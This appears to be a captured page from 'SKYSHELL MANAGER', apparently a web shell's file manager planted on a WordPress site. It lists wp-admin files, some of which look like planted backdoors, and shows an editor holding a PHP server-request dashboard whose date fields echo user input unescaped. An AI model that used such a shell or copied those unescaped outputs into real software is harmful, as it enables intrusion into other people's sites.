📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: oldserver-request.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; // Allow only Admin if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'Admin') { header("Location: index.php"); exit; } $where = []; // Company Filter if (!empty($_GET['company'])) { $company = mysqli_real_escape_string($conn, $_GET['company']); $where[] = "sr.company='$company'"; } // Status Filter if (!empty($_GET['status'])) { $status = mysqli_real_escape_string($conn, $_GET['status']); $where[] = "sr.status='$status'"; } // Date Filter $from = $_GET['from_date'] ?? ''; $to = $_GET['to_date'] ?? ''; if (!empty($from) && !empty($to)) { $from = mysqli_real_escape_string($conn, $from); $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(sr.created_at) BETWEEN '$from' AND '$to'"; } elseif (!empty($from)) { $from = mysqli_real_escape_string($conn, $from); $where[] = "DATE(sr.created_at) = '$from'"; } elseif (!empty($to)) { $to = mysqli_real_escape_string($conn, $to); $where[] = "DATE(sr.created_at) = '$to'"; } // Current Page & Limit $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; if ($page < 1) { $page = 1; } $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 50; if (!in_array($limit, [50, 100, 250])) { $limit = 50; } $offset = ($page - 1) * $limit; // Total Records Count $countSql = "SELECT COUNT(*) AS total FROM server_requirements sr"; if (!empty($where)) { $countSql .= " WHERE " . implode(" AND ", $where); } $countResult = mysqli_query($conn, $countSql); $totalRows = mysqli_fetch_assoc($countResult)['total']; $totalPages = ceil($totalRows / $limit); // Main Query with JOIN $sql = "SELECT sr.*, u.username FROM server_requirements sr LEFT JOIN users u ON sr.user_id = u.id"; if (!empty($where)) { $sql .= " WHERE " . implode(" AND ", $where); } $sql .= " ORDER BY sr.id DESC LIMIT $offset, $limit"; $result = mysqli_query($conn, $sql); // Pagination bounds $start = ($totalRows == 0) ? 0 : $offset + 1; $end = min($offset + $limit, $totalRows); // Statistics Query matching DB Statuses $statsSql = " SELECT COUNT(*) AS total_requests, SUM(status='Order Confirmed') AS confirmed, SUM(status LIKE 'Under Review%') AS under_review, SUM(status='Order is Processing') AS processing, SUM(status='Server under Configuration') AS configuration, SUM(status='Delivered') AS delivered FROM server_requirements sr "; if (!empty($where)) { $statsSql .= " WHERE " . implode(" AND ", $where); } $statsResult = mysqli_query($conn, $statsSql); $stats = mysqli_fetch_assoc($statsResult); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?php echo htmlspecialchars($_SESSION['user']['company'] ?? 'Dashboard'); ?></title> <link rel="icon" type="image/svg+xml" href="<?php echo htmlspecialchars($_SESSION['user']['fav'] ?? ''); ?>"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/css/bootstrap.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.3/font/bootstrap-icons.min.css"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet"> <link rel="stylesheet" href="css/style.css"> </head> <body class="dash-body"> <div class="sidebar-backdrop"></div> <!-- ===================== SIDEBAR ===================== --> <aside class="sidebar"> <a href="#" class="sidebar-brand text-decoration-none"> <img src="<?php echo htmlspecialchars($_SESSION['user']['logo'] ?? ''); ?>" alt="Logo" width="150"> </a> <nav class="sidebar-nav"> <div class="sidebar-section-label">Main</div> <a href="server-request.php" class="nav-link active"><i class="bi bi-list-check"></i> Server Request</a> </nav> <div class="sidebar-footer"> <div class="mt-4 small text-center"> <small>Developed by - Redaries</small> </div> </div> </aside> <!-- ===================== MAIN ===================== --> <div class="main-wrap"> <div class="topbar"> <div class="d-flex align-items-center gap-3"> <button class="btn btn-menu btn-outline-secondary"><i class="bi bi-list"></i></button> <div> <div class="fw-bold">Server Request</div> <div class="breadcrumb-mini">Dashboard / Server Request</div> </div> </div> <div class="d-flex align-items-right gap-3"> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle small" type="button" data-bs-toggle="dropdown"> <i class="bi bi-person-circle"></i> <?php echo htmlspecialchars($_SESSION['user']['username'] ?? 'Admin'); ?> </button> <ul class="dropdown-menu dropdown-menu-end"> <li> <a class="dropdown-item text-danger" href="logout.php"> <i class="bi bi-box-arrow-right me-2"></i> Logout </a> </li> </ul> </div> </div> </div> <div class="page-content"> <!-- Stat cards --> <div class="row g-3 mb-4"> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#eef2ff;color:#073e8d;"> <i class="bi bi-file-earmark-text"></i> </div> <div> <div class="stat-num"><?= $stats['total_requests'] ?? 0; ?></div> <div class="stat-label">Total Requests</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#fef3c7;color:#92400e;"> <i class="bi bi-hourglass-split"></i> </div> <div> <div class="stat-num"><?= $stats['confirmed'] ?? 0; ?></div> <div class="stat-label">Confirmed</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dbeafe;color:#2563eb;"> <i class="bi bi-search"></i> </div> <div> <div class="stat-num"><?= $stats['under_review'] ?? 0; ?></div> <div class="stat-label">Under Review</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ffedd5;color:#9a3412;"> <i class="bi bi-arrow-repeat"></i> </div> <div> <div class="stat-num"><?= $stats['processing'] ?? 0; ?></div> <div class="stat-label">Processing</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#ede9fe;color:#6d28d9;"> <i class="bi bi-hdd-rack"></i> </div> <div> <div class="stat-num"><?= $stats['configuration'] ?? 0; ?></div> <div class="stat-label">Configuration</div> </div> </div> </div> <div class="col-6 col-lg-2"> <div class="stat-card d-flex align-items-center gap-3"> <div class="stat-icon" style="background:#dcfce7;color:#166534;"> <i class="bi bi-check-circle"></i> </div> <div> <div class="stat-num"><?= $stats['delivered'] ?? 0; ?></div> <div class="stat-label">Delivered</div> </div> </div> </div> </div> <!-- Requests table panel --> <div class="card-panel"> <div class="card-panel-head"> <h6 class="fw-bold mb-0">All Server Requests</h6> <form id="filterForm" method="GET" class="d-flex gap-3"> <!-- Company --> <div class="col-md-2"> <label class="form-label small">Company</label> <select name="company" class="form-select auto-filter form-select-sm"> <option value="">All Companies</option> <option value="vintorix" <?= ($_GET['company'] ?? '')=='vintorix'?'selected':''; ?>>Vintorix</option> <option value="Dotnix" <?= ($_GET['company'] ?? '')=='Dotnix'?'selected':''; ?>>Dotnix</option> <option value="Webberax" <?= ($_GET['company'] ?? '')=='Webberax'?'selected':''; ?>>Webberax</option> </select> </div> <!-- Status --> <div class="col-md-2"> <label class="form-label small">Status</label> <select name="status" class="form-select auto-filter form-select-sm"> <option value="">All Status</option> <option value="Order Confirmed" <?= ($_GET['status'] ?? '')=='Order Confirmed'?'selected':''; ?>>Order Confirmed</option> <option value="Under Review - Management" <?= ($_GET['status'] ?? '')=='Under Review - Management'?'selected':''; ?>>Under Review - Management</option> <option value="Under Review - Manager" <?= ($_GET['status'] ?? '')=='Under Review - Manager'?'selected':''; ?>>Under Review - Manager</option> <option value="Order is Processing" <?= ($_GET['status'] ?? '')=='Order is Processing'?'selected':''; ?>>Order is Processing</option> <option value="Server under Configuration" <?= ($_GET['status'] ?? '')=='Server under Configuration'?'selected':''; ?>>Server under Configuration</option> <option value="Validation (Sales)" <?= ($_GET['status'] ?? '')=='Validation (Sales)'?'selected':''; ?>>Validation (Sales)</option> <option value="Delivered" <?= ($_GET['status'] ?? '')=='Delivered'?'selected':''; ?>>Delivered</option> <option value="Order Rejected" <?= ($_GET['status'] ?? '')=='Order Rejected'?'selected':''; ?>>Order Rejected</option> </select> </div> <!-- From --> <div class="col-md-2"> <label class="form-label small">From Date</label> <input type="date" name="from_date" value="<?= $_GET['from_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <!-- To --> <div class="col-md-2"> <label class="form-label small">To Date</label> <input type="date" name="to_date" value="<?= $_GET['to_date'] ?? '' ?>" class="form-control auto-filter form-control-sm"> </div> <!-- Show Rows --> <div class="col-md-2"> <label class="form-label small">Show Rows</label> <select name="limit" class="form-select auto-filter form-select-sm"> <option value="50" <?= (($_GET['limit'] ?? 50)==50)?'selected':''; ?>>50</option> <option value="100" <?= (($_GET['limit'] ?? '')==100)?'selected':''; ?>>100</option> <option value="250" <?= (($_GET['limit'] ?? '')==250)?'selected':''; ?>>250</option> </select> </div> <!-- Reset --> <div class="col-md-2 d-flex align-items-end"> <a href="server-request.php" class="btn btn-outline-secondary btn-sm"> <i class="bi bi-arrow-clockwise"></i> Reset </a> </div> </form> </div> <div class="card-panel-body"> <div class="table-responsive"> <table class="table table-requests align-middle"> <thead> <tr> <th>RequestID</th> <th>RequestedBy</th> <th>Company</th> <th>Department</th> <th>Team</th> <th>Specs</th> <th>Provider</th> <th>HostName</th> <th>Notes</th> <th>Priority</th> <th>CreatedDate</th> <th>RequestedDate</th> <th>Status</th> <th class="text-end">UpdateStatus</th> </tr> </thead> <tbody> <?php if(mysqli_num_rows($result) > 0): ?> <?php while($row = mysqli_fetch_assoc($result)): ?> <tr> <td class="fw-semibold"><?php echo htmlspecialchars($row['request_id']); ?></td> <td><?php echo htmlspecialchars($row['username'] ?? 'N/A'); ?></td> <td><?php echo htmlspecialchars($row['company']); ?></td> <td><?php echo htmlspecialchars($row['department']); ?></td> <td><?php echo htmlspecialchars($row['team']); ?></td> <td> <span class="spec-chip"><?php echo htmlspecialchars($row['class']); ?></span> <span class="spec-chip"><?php echo htmlspecialchars($row['subnet']); ?></span> </td> <td><?php echo htmlspecialchars($row['network_provider']); ?></td> <td><?php echo htmlspecialchars($row['hostname'] ?? '-'); ?></td> <td><?php echo htmlspecialchars($row['notes'] ?? '-'); ?></td> <td> <?php $p = strtolower($row['priority']); if($p=='low'){ echo '<span class="badge-priority low">Low</span>'; }elseif($p=='medium'){ echo '<span class="badge-priority medium">Medium</span>'; }elseif($p=='high'){ echo '<span class="badge-priority high">High</span>'; }else{ echo '<span class="badge-priority urgent">Urgent</span>'; } ?> </td> <td><?php echo date('d-m-Y', strtotime($row['created_at'])); ?></td> <td><?php echo $row['required_by'] ? date('d-m-Y', strtotime($row['required_by'])) : '-'; ?></td> <td> <?php switch($row['status']){ case 'Order Confirmed': echo '<span class="badge bg-secondary">Order Confirmed</span>'; break; case 'Under Review - Management': case 'Under Review - Manager': echo '<span class="badge bg-info text-dark">'.$row['status'].'</span>'; break; case 'Order is Processing': echo '<span class="badge bg-warning text-dark">Order is Processing</span>'; break; case 'Server under Configuration': echo '<span class="badge bg-primary">Configuration</span>'; break; case 'Delivered': echo '<span class="badge bg-success">Delivered</span>'; break; case 'Order Rejected': echo '<span class="badge bg-danger">Order Rejected</span>'; break; default: echo '<span class="badge bg-dark">'.htmlspecialchars($row['status']).'</span>'; break; } ?> </td> <td class="text-end"> <button type="button" class="btn btn-sm btn-brand updateBtn" data-bs-toggle="modal" data-bs-target="#updateModal" data-id="<?php echo $row['id']; ?>" data-status="<?php echo htmlspecialchars($row['status']); ?>"> <i class="bi bi-pencil-square"></i> Update </button> </td> </tr> <?php endwhile; ?> <?php else: ?> <tr> <td colspan="14" class="text-center py-4">No Request Found</td> </tr> <?php endif; ?> </tbody> </table> </div> <!-- Pagination Bar --> <?php if($totalPages > 1): ?> <nav class="d-flex justify-content-between align-items-center mt-3 flex-wrap gap-2"> <span class="text-muted small"> Showing <?= $start ?> - <?= $end ?> of <?= $totalRows ?> requests </span> <ul class="pagination pagination-sm mb-0"> <li class="page-item <?= ($page<=1)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page-1])) ?>">Previous</a> </li> <?php for($i=1;$i<=$totalPages;$i++): ?> <li class="page-item <?= ($i==$page)?'active':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$i])) ?>"><?= $i ?></a> </li> <?php endfor; ?> <li class="page-item <?= ($page>=$totalPages)?'disabled':''; ?>"> <a class="page-link" href="?<?= http_build_query(array_merge($_GET,['page'=>$page+1])) ?>">Next</a> </li> </ul> </nav> <?php else: ?> <div class="text-muted small mt-3"> Showing <?= $start ?> - <?= $end ?> of <?= $totalRows ?> requests </div> <?php endif; ?> </div> </div> </div> </div> <!-- Status Update Modal --> <div class="modal fade" id="updateModal" tabindex="-1"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content border-0 shadow rounded-4"> <form action="status_update.php" method="post"> <input type="hidden" name="id" id="modal_id"> <div class="modal-header bg-primary text-white"> <h5 class="modal-title"> <i class="bi bi-pencil-square me-2"></i> Update Status </h5> <button type="button" class="btn-close" data-bs-dismiss="modal" style="filter:invert(1);"></button> </div> <div class="modal-body"> <div class="mb-3"> <label class="form-label">Status</label> <select name="status" id="modal_status" class="form-select" required> <option value="Order Confirmed">Order Confirmed</option> <option value="Under Review - Management">Under Review - Management</option> <option value="Under Review - Manager">Under Review - Manager</option> <option value="Order is Processing">Order is Processing</option> <option value="Server under Configuration">Server under Configuration</option> <option value="Validation (Sales)">Validation (Sales)</option> <option value="Delivered">Delivered</option> <option value="Order Rejected">Order Rejected</option> </select> </div> <div class="mb-3"> <label class="form-label">Order History / Notes</label> <textarea name="order_history" class="form-control" rows="4" placeholder="Enter status notes..." required></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-light border" data-bs-dismiss="modal">Cancel</button> <button type="submit" class="btn btn-primary"> <i class="bi bi-check-circle me-1"></i> Update </button> </div> </form> </div> </div> </div> <script> document.querySelectorAll(".updateBtn").forEach(function(btn){ btn.addEventListener("click", function(){ document.getElementById("modal_id").value = this.dataset.id; document.getElementById("modal_status").value = this.dataset.status; }); }); document.addEventListener("DOMContentLoaded", function () { document.querySelectorAll(".auto-filter").forEach(function (element) { element.addEventListener("change", function () { document.getElementById("filterForm").submit(); }); }); }); </script> <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/5.3.3/js/bootstrap.bundle.min.js"></script> <script src="js/app.js"></script> </body> </html>
Save